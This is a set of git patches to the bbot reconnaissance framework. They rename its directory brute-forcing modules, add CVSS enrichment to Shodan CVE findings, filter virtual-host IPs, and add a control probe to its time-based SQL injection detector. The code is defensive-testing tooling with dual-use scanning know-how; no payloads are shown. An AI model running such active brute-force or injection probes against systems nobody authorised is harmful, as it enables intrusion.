bbot/test/test_step_1/test_scan.py | 20 +++++----- .../module_tests/test_module_webbrute.py | 38 +++++++++---------- .../test_module_webbrute_shortnames.py | 6 +-- 9 files changed, 60 insertions(+), 72 deletions(-) diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index e114093cc5..7cfc761d4d 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -156,7 +156,7 @@ class telerik(BaseModule): options = {"exploit_RAU_crypto": False, "include_subdirs": False} options_desc = { "exploit_RAU_crypto": "Attempt to confirm any RAU AXD detections are vulnerable", - "include_subdirs": "Include subdirectories in the scan (off by default)", # will create many finding events if used in conjunction with web spider or web_brute + "include_subdirs": "Include subdirectories in the scan (off by default)", # will create many finding events if used in conjunction with web spider or webbrute } in_scope_only = True diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index e04bdaedd3..5b0524da0a 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -7,7 +7,7 @@ from bbot.modules.base import BaseModule -class web_brute(BaseModule): +class webbrute(BaseModule): watched_events = ["URL"] produced_events = ["URL_UNVERIFIED"] flags = ["active", "loud"] @@ -124,16 +124,6 @@ def _response_metrics(self, response): "lines": text.count("\n") + 1, } - def _batch_response_metrics(self, response): - """Extract metrics from a raw blasthttp batch response.""" - body = response.body or "" - return { - "status": response.status, - "length": len(response.body_bytes), - "words": len(body.split()), - "lines": body.count("\n") + 1, - } - def _is_baseline_match(self, metrics, baseline_filter): """Return True if the response matches the baseline (i.e. should be filtered OUT).""" if baseline_filter.get("abort"): @@ -187,7 +177,7 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): self.blast_client.request_batch_stream(canary_configs, 4, rate_limit=self.rate) ): if result.success: - canary_results.append(self._batch_response_metrics(result.response)) + canary_results.append(self._response_metrics(result.response)) if await self.helpers.yara.match(self.waf_yara_rules, result.response.body): canary_waf_count += 1 @@ -331,7 +321,7 @@ async def execute_fuzz( continue response = result.response - metrics = self._batch_response_metrics(response) + metrics = self._response_metrics(response) # Check if this matches the baseline (should be filtered out) if ext_filter and self._is_baseline_match(metrics, ext_filter): @@ -373,12 +363,15 @@ async def execute_fuzz( self.debug("Found canary in results, all hits are likely false positives — aborting") return - # Mid-scan validation: one canary check per extension + # Mid-scan validation: one canary check per extension. + # Single request — use client.request() directly instead of a + # 1-config request_batch_stream loop (the streaming API only + # earns its keep with multiple in-flight requests). if hits and not baseline and ext_filter: canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" - canary_configs = [ - blasthttp.BatchConfig( + try: + canary_response = await self.blast_client.request( canary_url, headers=headers, timeout=self.scan.http_timeout, @@ -387,14 +380,11 @@ async def execute_fuzz( follow_redirects=False, proxy=proxy, ) - ] - canary_result = None - async for r in iter_batch_results( - self.blast_client.request_batch_stream(canary_configs, 1, rate_limit=self.rate) - ): - canary_result = r - if canary_result is not None and canary_result.success: - canary_metrics = self._batch_response_metrics(canary_result.response) + except Exception as e: + self.debug(f"Mid-scan canary request failed: {e}") + canary_response = None + if canary_response is not None: + canary_metrics = self._response_metrics(canary_response) if not self._is_baseline_match(canary_metrics, ext_filter): self.verbose( f"Would have reported {len(hits)} hit(s), but mid-scan baseline check failed. " diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index ffb619f18a..dda961c7ef 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -3,10 +3,10 @@ import random import string -from bbot.modules.web_brute import web_brute +from bbot.modules.webbrute import webbrute -class web_brute_shortnames(web_brute): +class webbrute_shortnames(webbrute): watched_events = ["URL_HINT"] produced_events = ["URL_UNVERIFIED"] flags = ["loud", "active", "iis-shortnames", "web-heavy"] @@ -183,7 +183,7 @@ def find_delimiter(self, hint): async def filter_event(self, event): if "iis-magic-url" in event.tags: - return False, "iis-magic-url URL_HINTs are not solvable by web_brute_shortnames" + return False, "iis-magic-url URL_HINTs are not solvable by webbrute_shortnames" if event.parent.type != "URL": return False, "its parent event is not of type URL" return True @@ -204,7 +204,7 @@ async def handle_event(self, event): elif "shortname-directory" in event.tags: shortname_type = "directory" else: - self.error("web_brute_shortnames received URL_HINT without proper 'shortname-' tag") + self.error("webbrute_shortnames received URL_HINT without proper 'shortname-' tag") return host = f"{event.parent.parsed_url.scheme}://{event.parent.parsed_url.netloc}/" @@ -329,7 +329,7 @@ async def finish(self): elif "shortname-directory" in self.shortname_to_event[hint].tags: shortname_type = "directory" else: - self.error("web_brute_shortnames received URL_HINT without proper 'shortname-' tag") + self.error("webbrute_shortnames received URL_HINT without proper 'shortname-' tag") continue partial_hint = hint[len(prefix) :] diff --git a/bbot/presets/web/dirbust-heavy.yml b/bbot/presets/web/dirbust-heavy.yml index ce18b4ccd2..1e56a62b73 100644 --- a/bbot/presets/web/dirbust-heavy.yml +++ b/bbot/presets/web/dirbust-heavy.yml @@ -7,15 +7,15 @@ flags: - iis-shortnames modules: - - web_brute + - webbrute - wayback config: modules: iis_shortnames: - # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by web_brute_shortnames + # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames detect_only: False - web_brute: + webbrute: max_depth: 3 lines: 5000 extensions: diff --git a/bbot/presets/web/dirbust-light.yml b/bbot/presets/web/dirbust-light.yml index 52b9ff40b4..1b81d38429 100644 --- a/bbot/presets/web/dirbust-light.yml +++ b/bbot/presets/web/dirbust-light.yml @@ -4,10 +4,10 @@ include: - iis-shortnames modules: - - web_brute + - webbrute config: modules: - web_brute: + webbrute: # wordlist size = 1000 lines: 1000 diff --git a/bbot/presets/web/dotnet-audit.yml b/bbot/presets/web/dotnet-audit.yml index 642f89e8f7..2cf50db9d3 100644 --- a/bbot/presets/web/dotnet-audit.yml +++ b/bbot/presets/web/dotnet-audit.yml @@ -7,8 +7,8 @@ include: modules: - http - badsecrets - - web_brute_shortnames - - web_brute + - webbrute_shortnames + - webbrute - telerik - ajaxpro - dotnetnuke @@ -16,10 +16,10 @@ modules: config: modules: - web_brute: + webbrute: extensions: asp,aspx,ashx,asmx,ascx ignore_case: True - web_brute_shortnames: + webbrute_shortnames: find_subwords: True telerik: exploit_RAU_crypto: True diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index a23b3c4240..995d1e9c2a 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -227,8 +227,8 @@ def mock_event(type, module, parent=None): http_mod = mock_module("http", ["URL", "HTTP_RESPONSE"]) excavate_mod = mock_module("excavate", ["URL_UNVERIFIED", "WEB_PARAMETER"]) - web_brute_shortnames_mod = mock_module("web_brute_shortnames", ["URL_UNVERIFIED"]) - web_brute_mod = mock_module("web_brute", ["URL_UNVERIFIED"]) + webbrute_shortnames_mod = mock_module("webbrute_shortnames", ["URL_UNVERIFIED"]) + webbrute_mod = mock_module("webbrute", ["URL_UNVERIFIED"]) speculate_mod = mock_module("speculate", ["DNS_NAME", "OPEN_TCP_PORT", "IP_ADDRESS", "FINDING", "ORG_STUB"]) robots_mod = mock_module("robots", ["URL_UNVERIFIED"]) @@ -237,13 +237,13 @@ def mock_event(type, module, parent=None): parent = mock_event("URL_UNVERIFIED", excavate_mod) stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 2) web_brute_shortnames discovers URL_UNVERIFIED, http verifies → web_brute_shortnames gets credit + # 2) webbrute_shortnames discovers URL_UNVERIFIED, http verifies → webbrute_shortnames gets credit for _ in range(3): - parent = mock_event("URL_UNVERIFIED", web_brute_shortnames_mod) + parent = mock_event("URL_UNVERIFIED", webbrute_shortnames_mod) stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 3) web_brute discovers URL_UNVERIFIED, http verifies → web_brute gets credit - parent = mock_event("URL_UNVERIFIED", web_brute_mod) + # 3) webbrute discovers URL_UNVERIFIED, http verifies → webbrute gets credit + parent = mock_event("URL_UNVERIFIED", webbrute_mod) stats.event_produced(mock_event("URL", http_mod, parent=parent)) # 4) speculate (internal module) creates URL_UNVERIFIED, http verifies → http keeps credit @@ -267,8 +267,8 @@ def mock_event(type, module, parent=None): # verify per-module produced counts assert stats.module_stats["excavate"].produced == {"URL": 5} - assert stats.module_stats["web_brute_shortnames"].produced == {"URL": 3} - assert stats.module_stats["web_brute"].produced == {"URL": 1} + assert stats.module_stats["webbrute_shortnames"].produced == {"URL": 3} + assert stats.module_stats["webbrute"].produced == {"URL": 1} assert stats.module_stats["robots"].produced == {"URL": 2} # http gets credit for speculate's 4 URLs + 2 from OPEN_TCP_PORT = 6 assert stats.module_stats["http"].produced == {"URL": 6} @@ -286,9 +286,9 @@ def mock_event(type, module, parent=None): table_dict = {row[0]: row[1] for row in rows} assert table_dict["http"] == "6 (6 URL)" assert table_dict["excavate"] == "5 (5 URL)" - assert table_dict["web_brute_shortnames"] == "3 (3 URL)" + assert table_dict["webbrute_shortnames"] == "3 (3 URL)" assert table_dict["robots"] == "2 (2 URL)" - assert table_dict["web_brute"] == "1 (1 URL)" + assert table_dict["webbrute"] == "1 (1 URL)" assert table_dict["CNAME"] == "1 (1 DNS_NAME)" assert table_dict["cloudcheck"] == "1 (1 STORAGE_BUCKET)" assert "speculate" not in table_dict diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py index 26b78aa86a..5b6b067f91 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py @@ -7,16 +7,16 @@ class TestWebBrute(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - module_name = "web_brute" + module_name = "webbrute" test_wordlist = ["11111111", "admin", "junkword1", "zzzjunkword2"] config_overrides = { "modules": { - "web_brute": { + "webbrute": { "wordlist": tempwordlist(test_wordlist), } } } - modules_overrides = ["web_brute", "http"] + modules_overrides = ["webbrute", "http"] async def setup_before_prep(self, module_test): expect_args = {"method": "GET", "uri": "/admin"} @@ -34,7 +34,7 @@ def check(self, module_test, events): class TestWebBrute2(TestWebBrute): test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"] - config_overrides = {"modules": {"web_brute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}} + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}} async def setup_before_prep(self, module_test): expect_args = {"method": "GET", "uri": "/console.php"} @@ -53,7 +53,7 @@ def check(self, module_test, events): class TestWebBrute_ignorecase(TestWebBrute): test_wordlist = ["11111111", "Admin", "admin", "zzzjunkword2"] config_overrides = { - "modules": {"web_brute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php", "ignore_case": True}} + "modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php", "ignore_case": True}} } async def setup_before_prep(self, module_test): @@ -77,7 +77,7 @@ def check(self, module_test, events): class TestWebBruteHeaders(TestWebBrute): test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"] config_overrides = { - "modules": {"web_brute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}, + "modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}, "web": {"http_headers": {"test": "test2"}}, } @@ -97,20 +97,20 @@ def check(self, module_test, events): class TestWebBruteRedirectFalsePositive(ModuleTestBase): """Server returns 404 for random paths but 302->/ for ~-prefixed paths. - web_brute should detect that all redirect hits go to the same location + webbrute should detect that all redirect hits go to the same location and filter them as false positives.""" targets = ["http://127.0.0.1:8888"] - module_name = "web_brute" + module_name = "webbrute" test_wordlist = ["~joe", "~", "junkword1", "zzzjunkword2"] config_overrides = { "modules": { - "web_brute": { + "webbrute": { "wordlist": tempwordlist(test_wordlist), } } } - modules_overrides = ["web_brute", "http"] + modules_overrides = ["webbrute", "http"] def request_handler(self, request): uri = request.path @@ -124,29 +124,27 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) def check(self, module_test, events): - tilde_hits = [ - e for e in events if e.type == "URL_UNVERIFIED" and "~" in e.url and str(e.module) == "web_brute" - ] + tilde_hits = [e for e in events if e.type == "URL_UNVERIFIED" and "~" in e.url and str(e.module) == "webbrute"] assert len(tilde_hits) == 0, ( - f"web_brute should not report redirect-to-root paths as findings, but got: {[e.url for e in tilde_hits]}" + f"webbrute should not report redirect-to-root paths as findings, but got: {[e.url for e in tilde_hits]}" ) class TestWebBruteWAFFalsePositive(ModuleTestBase): """WAF returns 200 with block page body for certain paths. - web_brute should detect WAF content and filter these as false positives.""" + webbrute should detect WAF content and filter these as false positives.""" targets = ["http://127.0.0.1:8888"] - module_name = "web_brute" + module_name = "webbrute" test_wordlist = ["admin", "secret", "junkword1", "zzzjunkword2"] config_overrides = { "modules": { - "web_brute": { + "webbrute": { "wordlist": tempwordlist(test_wordlist), } } } - modules_overrides = ["web_brute", "http"] + modules_overrides = ["webbrute", "http"] waf_body = "Request RejectedThe requested URL was rejected. Please consult with your administrator." @@ -165,6 +163,6 @@ def check(self, module_test, events): waf_hits = [ e for e in events - if e.type == "URL_UNVERIFIED" and str(e.module) == "web_brute" and ("admin" in e.url or "secret" in e.url) + if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute" and ("admin" in e.url or "secret" in e.url) ] - assert len(waf_hits) == 0, f"web_brute should filter WAF block pages, but got: {[e.url for e in waf_hits]}" + assert len(waf_hits) == 0, f"webbrute should filter WAF block pages, but got: {[e.url for e in waf_hits]}" diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py index 2face20e57..77e8cc74e2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py @@ -3,11 +3,11 @@ class TestWebBruteShortnames(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - module_name = "web_brute_shortnames" + module_name = "webbrute_shortnames" test_wordlist = ["11111111", "administrator", "portal", "console", "junkword1", "zzzjunkword2", "directory"] config_overrides = { "modules": { - "web_brute_shortnames": { + "webbrute_shortnames": { "find_common_prefixes": True, "find_subwords": True, "wordlist": tempwordlist(test_wordlist), @@ -15,7 +15,7 @@ class TestWebBruteShortnames(ModuleTestBase): } } } - modules_overrides = ["web_brute_shortnames", "http"] + modules_overrides = ["webbrute_shortnames", "http"] async def setup_after_prep(self, module_test): module_test.httpserver.no_handler_status_code = 404 From b2fb240702ccf8d983bdbc3ca61e4bd4edc5962c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 11:53:30 -0400 Subject: [PATCH 612/912] shodan_idb: enrich CVE findings with severity and CVSS Per-CVE severity and CVSS are looked up from Shodan's CVEDB and rendered inline in the FINDING description (sorted highest-CVSS first). Lookups are cached per-scan to avoid duplicate requests. Overall FINDING severity is hard-coded to INFO since shodan_idb only matches banners and does not confirm exploitability. --- bbot/modules/shodan_idb.py | 70 ++++++++++++++++++- .../module_tests/test_module_shodan_idb.py | 48 ++++++++++++- 2 files changed, 113 insertions(+), 5 deletions(-) diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 59ad329d35..ba37b04fef 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -60,10 +60,20 @@ class shodan_idb(BaseModule): _qsize = 100 base_url = "https://internetdb.shodan.io" + cvedb_url = "https://cvedb.shodan.io/cve" + + # CVSS v3 score thresholds per FIRST.org / NVD + _cvss_severity_thresholds = ( + (9.0, "CRITICAL"), + (7.0, "HIGH"), + (4.0, "MEDIUM"), + (0.1, "LOW"), + ) async def setup(self): await super().setup() self.last_request_time = 0 + self._cve_cache = {} return True def _incoming_dedup_hash(self, event): @@ -141,14 +151,33 @@ async def _parse_response(self, data: dict, event, ip): ) vulns = data.get("vulns", []) if vulns: + cve_entries = [] + for cve_id in vulns: + details = await self._get_cve_details(cve_id) + cvss = None + if details: + cvss = details.get("cvss_v3") or details.get("cvss") or details.get("cvss_v2") + cve_entries.append({"cve": cve_id, "cvss": cvss, "severity": self._cvss_to_severity(cvss)}) + # sort highest CVSS first so the worst shows up first + cve_entries.sort(key=lambda e: (e["cvss"] is None, -(e["cvss"] or 0), e["cve"])) + + cve_parts = [] + for entry in cve_entries: + sev = entry["severity"] or "UNKNOWN" + cvss_str = f"{entry['cvss']}" if entry["cvss"] is not None else "no CVSS" + cve_parts.append(f"{entry['cve']} [{sev}, {cvss_str}]") + description = f"Shodan reported possible vulnerabilities for {query_host}: {', '.join(cve_parts)}" + vulns_str = ", ".join([str(v) for v in vulns]) await self.emit_event( { - "description": f"Shodan reported possible vulnerabilities: {vulns_str}", + "description": description, "host": str(event.host), "cves": vulns, "name": "Shodan - Possible Vulnerabilities", - "severity": "MEDIUM", + # always INFO: shodan_idb only matches banners — there is no exploitation + # or in-product confirmation that any of these CVEs are actually present + "severity": "INFO", "confidence": "LOW", }, "FINDING", @@ -156,6 +185,43 @@ async def _parse_response(self, data: dict, event, ip): context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}', ) + async def _get_cve_details(self, cve_id): + """Look up a CVE in Shodan's CVEDB, caching results for the lifetime of the scan.""" + if cve_id in self._cve_cache: + return self._cve_cache[cve_id] + url = f"{self.cvedb_url}/{cve_id}" + + # respect the same 1-req-per-second rate limit as the InternetDB endpoint + current_time = time.time() + time_since_last = current_time - self.last_request_time + if time_since_last < 1: + await self.helpers.sleep(1 - time_since_last) + self.last_request_time = time.time() + + details = None + r = await self.api_request(url) + if r is not None and r.status_code == 200: + try: + details = r.json() + except Exception as e: + self.verbose(f"Error parsing JSON response from {url}: {e}") + self.trace() + self._cve_cache[cve_id] = details + return details + + @classmethod + def _cvss_to_severity(cls, score): + if score is None: + return None + try: + score = float(score) + except (TypeError, ValueError): + return None + for threshold, label in cls._cvss_severity_thresholds: + if score >= threshold: + return label + return None + def get_ip(self, event): """ Get the first available IP address from an event (IP_ADDRESS or DNS_NAME) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py index b4cd0a6344..aeb280da36 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py @@ -31,10 +31,24 @@ async def setup_after_prep(self, module_test): 443, ], "tags": ["starttls", "self-signed", "eol-os"], - "vulns": ["CVE-2021-26857", "CVE-2021-26855"], + # CVE-2021-26857 is intentionally listed twice to exercise the per-scan + # CVE detail cache: the second occurrence must hit the cache rather than + # making a second CVEDB request (the mock below is single-use). + "vulns": ["CVE-2021-26857", "CVE-2021-26855", "CVE-2021-26857"], }, ) + # CVEDB enrichment lookups (each mock is single-use by default in pytest-httpx, + # so a cache miss on a repeat lookup would fail to find a mock and raise). + module_test.httpx_mock.add_response( + url="https://cvedb.shodan.io/cve/CVE-2021-26857", + json={"cve_id": "CVE-2021-26857", "cvss_v3": 7.8}, + ) + module_test.httpx_mock.add_response( + url="https://cvedb.shodan.io/cve/CVE-2021-26855", + json={"cve_id": "CVE-2021-26855", "cvss_v3": 9.1}, + ) + def check(self, module_test, events): assert 8 == len([e for e in events if str(e.module) == "shodan_idb"]) assert 1 == len( @@ -48,8 +62,21 @@ def check(self, module_test, events): if e.type == "OPEN_TCP_PORT" and e.host == "blacklanternsecurity.com" and str(e.module) == "shodan_idb" ] ) - assert 1 == len([e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"]) - assert 1 == len([e for e in events if e.type == "FINDING" and "CVE-2021-26857" in e.data["description"]]) + finding_events = [e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"] + assert 1 == len(finding_events) + finding = finding_events[0] + description = finding.data["description"] + # host appears in the description + assert "blacklanternsecurity.com" in description + # per-CVE entries with severity and CVSS + assert "CVE-2021-26857 [HIGH, 7.8]" in description + assert "CVE-2021-26855 [CRITICAL, 9.1]" in description + # highest-CVSS CVE comes first in the inline list + assert description.index("CVE-2021-26855") < description.index("CVE-2021-26857") + # description is single-line + assert "\n" not in description + # overall severity is hard-coded to INFO (banner match, not confirmed exploit) + assert finding.data["severity"] == "INFO" assert 2 == len([e for e in events if e.type == "TECHNOLOGY" and str(e.module) == "shodan_idb"]) assert 1 == len( [ @@ -58,3 +85,18 @@ def check(self, module_test, events): if e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:/a:microsoft:outlook_web_access:15.0.1367" ] ) + + # CVE detail cache should be populated for each unique CVE + cve_cache = module_test.module._cve_cache + assert set(cve_cache.keys()) == {"CVE-2021-26857", "CVE-2021-26855"} + assert cve_cache["CVE-2021-26857"]["cvss_v3"] == 7.8 + assert cve_cache["CVE-2021-26855"]["cvss_v3"] == 9.1 + + # CVEDB should be hit exactly once per unique CVE; the duplicate CVE-2021-26857 + # in vulns must hit the cache rather than triggering a second request. + cvedb_requests = [r for r in module_test.httpx_mock.get_requests() if "cvedb.shodan.io" in str(r.url)] + assert len(cvedb_requests) == 2, f"expected 2 CVEDB requests, got {len(cvedb_requests)}" + assert sorted(str(r.url) for r in cvedb_requests) == [ + "https://cvedb.shodan.io/cve/CVE-2021-26855", + "https://cvedb.shodan.io/cve/CVE-2021-26857", + ] From 6ead62030ecdd9c6068a921215cf08878e2e2e07 Mon Sep 17 00:00:00 2001 From: ChrisJr404 Date: Thu, 7 May 2026 11:58:55 -0400 Subject: [PATCH 613/912] style: ruff format --- .../test_step_1/test_excavate_url_regexes.py | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/bbot/test/test_step_1/test_excavate_url_regexes.py b/bbot/test/test_step_1/test_excavate_url_regexes.py index ef9868cac5..d1a30dc50d 100644 --- a/bbot/test/test_step_1/test_excavate_url_regexes.py +++ b/bbot/test/test_step_1/test_excavate_url_regexes.py @@ -51,27 +51,19 @@ def test_full_url_regex_still_matches_existing_patterns(): def test_full_url_regex_strict_matches_ipv6(): for url in IPV6_URLS: - assert full_url_regex_strict.match(url) is not None, ( - f"full_url_regex_strict should match IPv6 URL {url!r}" - ) + assert full_url_regex_strict.match(url) is not None, f"full_url_regex_strict should match IPv6 URL {url!r}" def test_full_url_regex_strict_still_matches_existing_patterns(): for url in NON_IPV6_URLS: - assert full_url_regex_strict.match(url) is not None, ( - f"regression: full_url_regex_strict broke for {url!r}" - ) + assert full_url_regex_strict.match(url) is not None, f"regression: full_url_regex_strict broke for {url!r}" def test_yara_url_rule_matches_ipv6(): for url in IPV6_URLS: - assert yara_url_rule.match(data=url.encode()), ( - f"YARA url_full rule should match IPv6 URL {url!r}" - ) + assert yara_url_rule.match(data=url.encode()), f"YARA url_full rule should match IPv6 URL {url!r}" def test_yara_url_rule_still_matches_existing_patterns(): for url in NON_IPV6_URLS: - assert yara_url_rule.match(data=url.encode()), ( - f"regression: YARA url_full rule broke for {url!r}" - ) + assert yara_url_rule.match(data=url.encode()), f"regression: YARA url_full rule broke for {url!r}" From 4a0cb11df65503028b8d6218c8d5646792e2c005 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 12:10:50 -0400 Subject: [PATCH 614/912] virtualhost: use response.peer_ip and filter resolved_hosts to real IPs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit resolved_hosts can include CNAME targets (hostnames) alongside A/AAAA records, so the previous code emitted hostnames in the VIRTUAL_HOST event's 'ip' field. Filter to actual IPs at the probe-candidate sites, and use blasthttp's response.peer_ip (with host_ip fallback) for the emitted ip — that's the ground-truth IP the response came from. --- bbot/modules/virtualhost.py | 27 +++++++++++++++++++++------ 1 file changed, 21 insertions(+), 6 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 81935a1b1b..0fe2f75eec 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -132,7 +132,15 @@ async def handle_event(self, event): self.debug(f"HANDLE EVENT METHOD: No resolved hosts for {normalized_url}, skipping virtual host check") return None - host_ip = str(next(iter(event.resolved_hosts))) + # resolved_hosts can contain CNAME targets (hostnames) alongside A/AAAA records; + # we need a real IP to pin the TCP connection via blasthttp's resolve_ip. + ip_candidates = [str(h) for h in event.resolved_hosts if self.helpers.is_ip(h)] + if not ip_candidates: + self.debug( + f"HANDLE EVENT METHOD: resolved_hosts for {normalized_url} contains no IPs (only CNAMEs?), skipping virtual host check" + ) + return None + host_ip = ip_candidates[0] baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) if not baseline_response: @@ -249,12 +257,15 @@ async def _report_interesting_default_content(self, event, canary_hostname, host ) # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI) canary_host = (canary_hostname or "").split(":")[0] + # peer_ip is the actual TCP peer the response came from — ground truth, not a + # guess from resolved_hosts. Falls back to the pinned host_ip if peer_ip is empty. + response_ip = getattr(canary_response, "peer_ip", None) or host_ip virtualhost_dict = { "host": str(event.host), "url": f"{event.parsed_url.scheme}://{authority}/", "virtual_host": canary_host, - "description": self._build_description(discovery_method, canary_response, True, host_ip), - "ip": host_ip, + "description": self._build_description(discovery_method, canary_response, True, response_ip), + "ip": response_ip, } await self.emit_event( @@ -595,7 +606,8 @@ async def _test_virtualhost_candidates( self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") - host_ips = [str(ip) for ip in event.resolved_hosts] + # filter out non-IP entries (e.g. CNAME targets) — we can't connect-pin via hostname + host_ips = [str(h) for h in event.resolved_hosts if self.helpers.is_ip(h)] total_tests = len(candidates_to_check) * len(host_ips) self.verbose( @@ -737,14 +749,17 @@ async def _test_virtualhost( is_externally_accessible = await self._is_host_accessible(probe_url) + # peer_ip is the actual TCP peer the response came from — ground truth, not a + # guess from resolved_hosts. Falls back to the pinned host_ip if peer_ip is empty. + response_ip = getattr(probe_response, "peer_ip", None) or host_ip virtualhost_dict = { "host": str(event.host), "url": normalized_url, "virtual_host": probe_host, "description": self._build_description( - discovery_method, probe_response, is_externally_accessible, host_ip + discovery_method, probe_response, is_externally_accessible, response_ip ), - "ip": host_ip, + "ip": response_ip, } # Skip if we require inaccessible hosts and this one is accessible From f6876ee48beef9e28f05a022b0ec93d838d0f50b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 13:15:32 -0400 Subject: [PATCH 615/912] lightfuzz/sqli: junk-value control probe to suppress CDN cache-miss false positives MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When a target is fronted by a CDN, baseline measurements (using the original parameter value) hit the edge cache and return fast, while any mangled value misses the cache and pays the origin round-trip — adding several seconds of latency that the delay detector mistakes for a successful SLEEP() execution. Before running the SQL delay payloads, send a non-SQL junk value of similar length: if its delay also lands in the SLEEP() window, the latency is cache-miss, not SQL execution, so we abort the time-based tests for this parameter. Also pins blasthttp to <0.5.0; this branch's http.py still uses the pre-0.5 header-iteration API. --- bbot/modules/lightfuzz/submodules/sqli.py | 13 ++ pyproject.toml | 2 +- uv.lock | 152 +++++++++++----------- 3 files changed, 90 insertions(+), 77 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 6c57b15423..34e2b6147b 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -248,6 +248,19 @@ async def fuzz(self): baseline_2_delay = baseline_2.elapsed.total_seconds() mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay]) + # CDN cache-miss control: junk value misses the edge cache like our SQL payloads + # would. If its delay lands in the SLEEP() window, the latency is cache-miss, not + # SQL execution — bail to avoid false positives. + junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}" + junk_response = await self.standard_probe( + self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True + ) + if junk_response and self.evaluate_delay(mean_baseline, junk_response.elapsed.total_seconds()): + self.debug( + "Junk control probe matched delay window — CDN cache-miss pattern, aborting time-based tests" + ) + return + for p in standard_probe_strings: confirmations = 0 for i in range(0, 3): diff --git a/pyproject.toml b/pyproject.toml index f989ee8149..45ffa2cafc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.3.2", + "blasthttp>=0.3.2,<0.5.0", "blastdns>=1.9.0,<2", ] diff --git a/uv.lock b/uv.lock index 9778d55ddd..838efb4a0f 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.2.0" }, + { name = "blasthttp", specifier = ">=0.3.2,<0.5.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -315,7 +315,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.10" }, + { name = "ruff", specifier = "==0.15.12" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, 